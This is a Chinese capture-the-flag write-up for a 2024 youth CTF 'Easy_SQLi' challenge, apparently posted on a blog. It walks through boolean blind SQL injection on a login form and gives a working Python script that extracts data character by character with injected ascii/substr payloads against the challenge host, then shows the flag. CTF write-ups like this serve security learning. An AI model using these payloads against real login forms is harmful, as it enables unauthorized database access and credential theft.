2024青少年ctf擂台挑战赛round1-Easy_SQLi

登录界面,随便输个1,1

发现没有回显数据,只有这种报错相关的提示

在这里插入图片描述

不管三七二十一,开始爆破

有惊喜

在这里插入图片描述

接下来可以开始注入了,这个跟最简单的sql注入不一样,没有数据回显,我就用我比较熟悉的布尔盲注开始爆破了

可以直接开始爆破列,手工爆破就用二分法

我爆破出来了有三个列,id,username,password

猜测flag是在password里

不要在意端口,补wp的时候容器到时了,重新开了一个

在这里插入图片描述

写了个py的脚本爆破password的数据

import requests
import time
url = "http://challenge.qsnctf.com:30162/login.php"
flag = ""
for num in range(1,100):
    for i in range(33,127) :
        data = {'uname':"' or 1=1 and  ascii(substr((select group_concat(password) from information_schema.columns where table_schema=database()),{0},1))={1}#".format(num,i),'psw':'1'}
        res = requests.post(url = url, data = data)
        time.sleep(0.05)
        if res.text == "Login successful" :
            flag += chr(i)
            break
print(flag)        

flag出来了

qsnctf{4b2b33f44897437eb4d0bc1b1328a0e5}

在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值